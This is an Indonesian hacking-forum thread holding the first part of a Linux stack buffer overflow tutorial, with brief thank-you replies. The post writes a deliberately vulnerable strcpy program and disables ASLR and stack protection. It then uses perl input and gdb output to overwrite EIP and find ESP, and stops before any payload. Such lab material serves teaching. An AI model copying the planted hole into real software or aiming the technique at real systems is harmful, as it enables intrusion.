.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 Linux buffer overflow tutorial

Go down 
3 posters
PengirimMessage
BumiayuKita
Administrator
Administrator
BumiayuKita


Jumlah posting : 2456
Points : 3020
Reputation : 85
Join date : 06.02.11
Age : 34
Lokasi : bumiayu

Linux buffer overflow tutorial  Empty
PostSubyek: Linux buffer overflow tutorial    Linux buffer overflow tutorial  Icon_minitimeFri Apr 01, 2011 12:12 am

Linux Buffer Overflow Tutorial
Edisi : Pertama

Penulis : gunslinger_ <yudha.gunslinger@gmail.com>
Tanggal : Sat Jun 26 20:27:41 WIT 2010

Konten :
1. Pendahuluan
2. Konsep exploitasi
3. Attack vector
3.1. NOP
3.2. NOPSLED
3.3. PAYLOAD
4. Special thanks

-- Pendahuluan
Setelah saya banyak melakukan penelitian pada kernel linux yang baru - baru ini ,
terutama kernel 2.6.8 ke atas memang tidak mungkin untuk mempraktikan teknik exploitasi buffer overflow dengan cara lama .
maka dari itu saya menulis tutorial ini agar kita bisa mempraktikan "apa itu sebenarnya buffer overflow ?"
pada kernel 2.6.8 ke atas karena kita mendapatkan kernel terbaru pada operting system pada saat ini.
dengan tutorial ini, saya akan menjelaskan secara terperinci menjelaskan teknik exploitasi buffer overflow.

-- Konsep Exploitasi buffer overflow
ok, sekarang kita lanjut saja ke topik utama. sekarang kita harus
membuat program yang vulnerable terhadap serangan buffer overflow.


---------------------bof.c--------------------------
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);

return 0;
}
---------------------EOF-----------------------------


kita save dengan nama bof.c .
kita lihat pada source berikut itu bahwa adanya fungsi strcpy() .
fungsi strcpy() sangat berbahaya karena tidak adanya pengecekan filter panjang data yang akan kita input.
ok, sekarang saatnya kita mematikan randomize_va_space memory tujuannya agar kita mudah mengalokasikan memory.
dengan cara seperti berikut.

root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space
0
root@bt:~#

sekarang saatnya kita meng - compile program tersebut.
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.
berikut caranya

root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c

sekarang saatnya kita mencari panjang string agar program si program mengalami crash.

root@bt:~# ./bof `perl -e 'print "A" x 400'`
root@bt:~# ./bof `perl -e 'print "A" x 403'`

seperti yang kita lihat, data tercopy kedalam buffer dan program exit secara normal.
dimana kita mengkopikan huruf "A" 400 - 403 bytes kedalam buffer.

root@bt:~# ./bof `perl -e 'print "A" x 404'`
Segmentation fault
root@bt:~#

disitu kita tahu kita membutuhkan 404 panjang string agar si program mengalami crash .
lalu kemudian sekarang yang kita lakukan adalah kita mencari panjang string agar register EIP teroverwrite pada inputan kita.
EIP adalah poin awal dimana instruksi selanjutnya akan tereksekusi, maka
jika EIP tersebut kita teroverwrite, kita bisa melakukan apa yang kita
mau eksekusi pada saat itu.
sekarang, saatnya kita gunakan GNU debugger atau biasa disebut gdb.
perhatikan pada experiment berikut.

root@bt:~# gdb -q bof
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main(int argc, char** argv)
5 {
6 char buffer[400];
7 strcpy(buffer, argv[1]);
8
9 return 0;
10 }
(gdb) run `perl -e 'print "A" x 404'`
Starting program: /root/bof `perl -e 'print "A" x 404'`

Program received signal SIGSEGV, Segmentation fault.
0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) run `perl -e 'print "A" x 405'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 405'`

Program received signal SIGSEGV, Segmentation fault.
0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
(gdb)

hmmm terlihat bahwa kita belum mengoverwritenya kita coba lagi tambahkan 1 string

(gdb) run `perl -e 'print "A" x 406'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 406'`

Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
(gdb)

ok, disitu sekarang sudah terlihat kita sedikit lagi mengoverwrite total eip.
perhatikan -> 0xb7004141
disitu ada 4141 , 41 adalah huruf "A" dalam bilangan hexadesimal . namun kita perlu mengoverwrite total address EIP tersebut.

(gdb) run `perl -e 'print "A" x 407'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 407'`

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb)

sedikit lagi...

(gdb) run `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 408'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

disitu terlihat bahwa kita telah mengoverwrite total register EIP.
perhatikan -> 0x41414141
kita sudah berhasil mengoverwritenya dengan huruf "A" dengan panjang string 408.

(gdb) i r
eax 0x0 0
ecx 0xbffff0b7 -1073745737
edx 0x199 409
ebx 0xb7fc9ff4 -1208180748
esp 0xbffff250 0xbffff250
ebp 0x41414141 0x41414141
esi 0x8048400 134513664
edi 0x8048310 134513424
eip 0x41414141 0x41414141 <-- ter overwrite !!
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)

sekarang yang perlu kita lakukan adalah dimana keberadaan register ESP (stack pointer).

(gdb) list 1
1 #include <stdio.h>
2 #include <string.h>
3
4 int main(int argc, char** argv)
5 {
6 char buffer[400];
7 strcpy(buffer, argv[1]);
8
9 return 0;
10 }
(gdb) b 7
Breakpoint 1 at 0x80483cd: file bof.c, line 7.
(gdb)

perlu diperhatikan kita perlu menggunakan dimana fungsi vulnerable
strcpy() sebagai breakpoint untuk mengetahui dimana keberadaan register
ESP.


(gdb) run test to see where esp is
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof test to see where esp is

Breakpoint 1, main (argc=7, argv=0xbffff434) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) i r esp
esp 0xbffff210 0xbffff210
(gdb)

esp terletak pada address 0xbffff210
Kembali Ke Atas Go down
http://aljinet.blogspot.com
Black.exe
Global Mod
Global Mod
Black.exe


Jumlah posting : 844
Points : 1491
Reputation : 44
Join date : 08.01.11
Age : 35

Linux buffer overflow tutorial  Empty
PostSubyek: Re: Linux buffer overflow tutorial    Linux buffer overflow tutorial  Icon_minitimeMon Jul 04, 2011 8:31 pm

MANGKRATABS GAN Linux buffer overflow tutorial  772168924
Kembali Ke Atas Go down
N3TRUZ
Global Mod
Global Mod
N3TRUZ


Jumlah posting : 491
Points : 552
Reputation : 16
Join date : 03.07.11
Lokasi : underware

Linux buffer overflow tutorial  Empty
PostSubyek: Re: Linux buffer overflow tutorial    Linux buffer overflow tutorial  Icon_minitimeMon Jul 04, 2011 9:26 pm

nyimakk ya ommm :mgaya:


Terakhir diubah oleh netruz tanggal Mon Jul 04, 2011 9:28 pm, total 1 kali diubah
Kembali Ke Atas Go down
http://netruz.org
BumiayuKita
Administrator
Administrator
BumiayuKita


Jumlah posting : 2456
Points : 3020
Reputation : 85
Join date : 06.02.11
Age : 34
Lokasi : bumiayu

Linux buffer overflow tutorial  Empty
PostSubyek: Re: Linux buffer overflow tutorial    Linux buffer overflow tutorial  Icon_minitimeMon Jul 04, 2011 9:31 pm

saling berbagi kasih info buat forum Linux buffer overflow tutorial  3529815765
Kembali Ke Atas Go down
http://aljinet.blogspot.com
Sponsored content





Linux buffer overflow tutorial  Empty
PostSubyek: Re: Linux buffer overflow tutorial    Linux buffer overflow tutorial  Icon_minitime

Kembali Ke Atas Go down
 
Linux buffer overflow tutorial
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» [continue] Linux buffer overflow tutorial
» Tutorial chmod hak akses di Linux
» SnackAmp 3.1.3 (smp) Buffer Overflow Vulnerability
» Install Kylix di Linux (Alternatif Pengganti Delphi di Linux)
» Free MP3 CD Ripper 1.1 Local Buffer Overflow

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Operating system ( OS ) :: Linux-
Navigasi: